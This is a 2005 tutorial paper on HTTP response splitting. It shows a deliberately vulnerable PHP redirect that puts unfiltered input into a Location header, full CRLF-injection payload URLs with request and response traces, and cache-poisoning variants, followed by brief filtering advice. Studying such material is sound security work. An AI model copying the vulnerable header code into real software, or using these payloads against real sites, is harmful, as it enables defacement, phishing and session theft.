HTTP RESPONSE SPLITTING by Diabolic Crab
HTTP RESPONSE SPLITTING
by Diabolic Crab (dcrab@xxxxxxxxxxxxxxxxx)
http://www.digitalparadox.org
Introduction to HTTP Response Splitting:
This is a fairly new web application vulnerability. It can be used for the
following purposes.
Cross site scripting (XSS): This is a very common and old form of vulnerability
where it allows the user execution of html or java script code which can then
lead to the hijacking of the user's cookie or session. They even allow
javascript code execution and maybe used to exploit other vulnerabities in
browsers with more anonymity.
Cross user defacement: This is a form of temporary defacement where the
website, may looked defaced to a particular user. This is used in cases of
information, id, or password theft. This enables an attacker to make the
website look defaced to a particular single user, thus allowing the attacker to
steal session data, cookies. It also allows the attacker to steal login
information by forging a fake login screen for the website, thus allowing
account compromise.
Web cache poisoning: In this form a rather larger defacement takes place where
a cache is poisoned which is used by multiple users, thus making them think the
site has been defaced, or that the site they are seeing is the genuine site
when its not. In this case the attacker uses a proxy server etc and calls the
vulnerable page using it to fool the cache into cacheing the second server
response over which the attacker as complete control thus making the website
defaced for anyone who uses or shares that cache server or proxy server. Uses
for such an attack would vary vastly, some being: Defacement as it causes
everyone who uses that cache or proxy to see the website as defaced. The second
being phising, in which by showing a false page loaded by the attacker we can
cause many users to give up private credit card numbers, user names, passwords
and other confidential information.
Hijacking pages: This allows user access to sensitive information, which might
be confidential or not normally accessible to the user. With this the attacker
can recieve the servers response to the client allowing sensitive data from the
server to the client to be stolen by the attacker.
Browser cache poisoning: This is simmilar to XSS, the only difference being
that the attacker forces the browser to cache the web page thus forming a long
lasting defacement till the browser's cache has been cleared or cleaned.
These kind of attacks are generally carried out in web applications by
injecting malicious or unexpected charecters in user input which is then used
for a 302 Redirect, in the Location or Set-Cookie header. So in the case of web
applications, a code generally such as "\r\n" is injected in one of its many
encoded forms. Though this vulnerability is mainly present in web applications
it is not limited to them and can be exploited with simmilar methods over
different protocols, as long as user input is present in headers, and there is
no validation for all illegal charecters. This paper is going to focus on the
usage of HTTP response splitting vulnerabilities in the case of web
applications. This type of vulnerabiliy being fairly new, I have found it to be
present in many large corporate websites, some of which might surprise you,
most of them still exist. Well back to the topic,
This kind of attack is mainly possible due to the lack of validation of user
input, for charecters such as, CR and LF.
CR = %0d = \r
LF = %0a = \n
How it works?:
To first understand how these vulnerabilities work, let us first understand how
a normal response to a 302 redirection would be like.
Lets consider a normal redirect script as so,
<?php
header ("Location: " . $_GET['page']);
?>
So a request like
http://icis.digitalparadox.org/~dcrab/redirect.php?page=http://www.digitalparadox.org
would redirect a user to http://www.digitalparadox.org. Let us take a look
under the hood at the headers,
User -to Server Get request
GET /~dcrab/redirect.php?page=http://www.digitalparadox.org HTTP/1.1\r\n
Host: icis.digitalparadox.org\r\n
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6)
Gecko/20050317 Firefox/1.0.2\r\n
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n
Accept-Language: en-us,en;q=0.5\r\n
Accept-Encoding: gzip,deflate\r\n
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n
Keep-Alive: 300\r\n
Connection: keep-alive\r\n
\r\n
Server to User 302 response\r\n
HTTP/1.1 302 Found\r\n
Date: Tue, 12 Apr 2005 21:00:28 GMT\r\n
Server: Apache/1.3.29 (Unix) mod_ssl/2.8.16 OpenSSL/0.9.7c\r\n
Location: http://www.digitalparadox.org\r\n
[User input in headers]
Keep-Alive: timeout=15, max=100\r\n
Connection: Keep-Alive\r\n
Transfer-Encoding: chunked\r\n
Content-Type: text/html\r\n
\r\n
User to Server Get request for redireted page
GET / HTTP/1.1
Host: www.digitalparadox.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6)
Gecko/20050317 Firefox/1.0.2
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Now the server will respond with a normal 200 Found response and then the user
will see the web page www.digitalparadox.org. As you may have also noticed each
new line in the HTTP protocol is shown with a \r\n or CR and LF. Thus it is
obvious, that by injecting false \r\n or CR and LF values in the user input
followed by a false HTTP Request we can make arbitary content of our choice
show up on the users browser, or cause Cross user defacement, Cache poisoning,
Hijack a page, or cause browser cache poisoning. So by now you must have
understood how a basic HTTP Response Splitting vulnerability works, and got the
overview of what we basically have to do to exploit these vulnerabilities
correctly.
So now using such a vulnerability as shown above to our advantage would be done
something as follows. We use the %0d%0a charecters to poison the header so as
to attain a temporary state of defacement.
Thus injecting something like,
http://icis.digitalparadox.org/~dcrab/redirect.php?page=%0d%0aContent-Type:%20text/html%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Chtml%3E%3Cfont%20color=red%3Ehey%3C/font%3E%3C/html%3E
Injected Data:
%0d%0aContent-Type:%20text/html%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Chtml%3E%3Cfont%20color=red%3Ehey%3C/font%3E%3C/html%3E
Which can also be written as,
\r\n
Content-Type: text/html\r\n
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
\r\n
<html><font color=red> hey</font></html>
The HTTP packets sent and recieved are as so,
User to Server Get request for the vulnerable page
GET
/~dcrab/redirect.php?page=%0d%0aContent-Type:%20text/html%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Chtml%3E%3Cfont%20color=red%3Ehey%3C/font%3E%3C/html%3E
HTTP/1.1\r\n
Host: icis.digitalparadox.org\r\n
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6)
Gecko/20050317 Firefox/1.0.2\r\n
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n
Accept-Language: en-us,en;q=0.5\r\n
Accept-Encoding: gzip,deflate\r\n
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n
Keep-Alive: 300\r\n
Connection: keep-alive\r\n
\r\n
Server to User 302 Found Response
HTTP/1.1 302 Found
[First standard 302 response]
Date: Tue, 12 Apr 2005 22:09:07 GMT
Server: Apache/1.3.29 (Unix) mod_ssl/2.8.16 OpenSSL/0.9.7c
Location:
Content-Type: text/html
HTTP/1.1 200 OK
[Second New response created by attacker begins]
Content-Type: text/html
<html><font color=red>hey</font></html>
[Arbitary input by user is shown as the redirected page]
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
0
As we can see in the exploitation process above, the server runs the normal 302
response, the arbitary input we gave in the location header causes it to start
a new 200 OK response which shows our inputted data to the user as a normal web
server response, Thus we have carried out a Cross Site Scripting exploitation
of the Html Splitting vulnerability.
Cache poisoning:
To make the cache server, cache our request we must add some new headers. The
Last-Modified header in the HTTP response will cause most cache servers to
cache the web site, thus allowing our poisoned website to appear in the cache,
as long as the Last-modified header is sent with a date ahead of the current
date. Sending of the Cache-Control: no-cache and/or Pragma: no-cache requests
will cause non cached websites to be added to the cache.
Some example versions of the cache poisoning exploits for the above vulnerable
example are,
Last-Modified example:
http://icis.digitalparadox.org/redirect.php?page=%0d%0aContent-Type:%20text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast-Modified:%20Wed,%2013%20Jan%202006%2012:44:23%20GMT%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html><font
color=red>hey</font></html> HTTP/1.1
Cache-Control example:
http://icis.digitalparadox.org/redirect.php?page=%0d%0aContent-Type:%20text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aCache-Control:%20no-cache%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html><font
color=red>hey</font></html> HTTP/1.1
Pragma example:
http://icis.digitalparadox.org/redirect.php?page=%0d%0aContent-Type:%20text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aPragma:%20no-cache%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html><font
color=red>hey</font></html> HTTP/1.1
To avoid such HTTP Splitting vulnerabilities parse all user input for CR LF
\r\n %0d%0a or any other forms of encoding these or other such malicious
charecters before using them in any form of HTTP headers. The HTTP Response
Splitting vulnerability is a very serious vulnerability and is currently
present on many big web sites such as anti-virus agencies, Auction websites,
and large Search engine/Chat networks. These vulnerabilities can be used to
fool thier clients and steal critical information and thus is a very serious
threat. It is a very big threat and is not recognised by many current security
analyists. In this paper i havn't gone into deep detail as such papers are
already available online (Look in reccomendations).
Author:
This paper is by Diabolic Crab, Email:
dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to contact me.
You can find me at, http://digitalparadox.org/ or http://www.hackerscenter.com.
Lookout for my soon to come out book on Secure coding with php.
Paper information:
Paper Start Date: Thursday, October 13, 2005
Paper Start Time: 1:01:47 AM
Paper End Date: Thursday, October 13, 2005
Paper End Time: 3:27:10 AM
Pages: 5
Words: 1,415
Characters (no spaces): 9,411
Characters (with spaces): 11,014
Paragraphs: 109
Lines: 251
Refferences:
http://www.securityfocus.com/archive/107/336744
http://www.securityfocus.com/archive/1/271515
http://www.securityfocus.com/archive/1/290872
http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf